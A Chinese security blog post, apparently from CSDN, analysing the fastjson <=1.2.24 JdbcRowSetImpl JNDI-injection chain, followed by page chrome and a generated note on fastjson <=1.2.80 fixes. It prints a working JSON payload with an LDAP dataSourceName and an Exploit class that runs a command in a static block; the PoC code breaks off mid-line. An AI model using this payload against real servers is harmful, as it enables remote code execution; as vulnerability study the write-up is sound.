FastJson<=1.2.24 JdbcRowSetImpl利用链分析

前言
上文分析了TemplatesImpl利用链,对fastjson parseObject函数进行了分析,明白了整个触发漏洞的流程,接着来学习JdbcRowSetImpl 利用链,JdbcRowSetImpl的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只需要Json.parse(input)即可进行命令执行。这条链主要利用了setAutoCommit方法调用InitialContext.lookup并且参数是未经过滤dataSourceName,导致JNDI注入,造成命令执行。其中涉及了JDNI注入 + RMI/LDAP 的知识,再前文也简单分析过JNDI+RMI/JNDI+LDAP的利用,如果不明白可以参考前文JNDI注入(RMI攻击实现和LDAP攻击实现)
JdbcRowSetImpl限制条件
主要限制的因素是jdk版本,个人版本为jdk1.8.0_121

基于RMI利用的JDK版本 ≤ 6u141、7u131、8u121
基于LDAP利用的JDK版本 ≤ 6u211、7u201、8u191。

在这里插入图片描述
攻击流程

首先是这个lookup(URI)参数可控
攻击者控制URI参数为指定为恶意的一个RMI服务
攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
攻击者可以在Factory类文件的静态代码块处写入恶意代码,达到RCE的效果;

源码分析
影响版本:fastjson<=1.2.24
payload:

{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/#Exploit", "autoCommit":true}

Exploit代码,需要编译成class文件放到web服务中去:

import java.io.IOException;

public class Exploit {
    public Exploit() {
    }
    static {
        try {         
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

poc代码:

package org.example.fastjson.JdbcRowSetImpl;
i
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
fastjson <= 1.2.80 存在反序列化任意代码执行漏洞。该漏洞利用了黑白名单防御机制的绕过问题,即使autoType关闭,黑客仍然可以绕过黑白名单防御机制,从而导致远程命令执行漏洞。攻击者可以利用该漏洞攻击远程服务器,风险影响较大。建议fastjson用户立即采取安全措施以保障系统安全。特定依赖存在下,漏洞影响范围在 1.2.80 及之前的版本中。为了解决此漏洞,可以采取以下几种措施: 1.升级到最新版本1.2.83,该版本修复了此次发现的漏洞,并涉及autotype行为变更。需要注意的是,在升级过程中可能会出现不兼容的情况,如果遇到问题可以在https://github.com/alibaba/fastjson/issues寻求帮助。 2.在1.2.68及之后的版本中,fastjson引入了safeMode功能。通过配置safeMode,无论是白名单还是黑名单,都不支持autoType,从而可以杜绝反序列化Gadgets类变种攻击(关闭autoType时需要评估对业务的影响)。开启safeMode的方法可以参考https://github.com/alibaba/fastjson/wiki/fastjson_safemode。 3.还可以考虑升级到fastjson v2版本,具体升级方法可以参考https://github.com/alibaba/fastjson2/releases。请注意,在升级过程中可能会有兼容性问题,因此在开启之前,请充分评估对业务的影响。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [fastjson1.2.8 反序列化远程代码执行漏洞](https://download.csdn.net/download/xiazai_ceshi/18466350)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [fastjson <= 1.2.80 反序列化任意代码执行漏洞](https://blog.csdn.net/qq_18209847/article/details/124952791)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值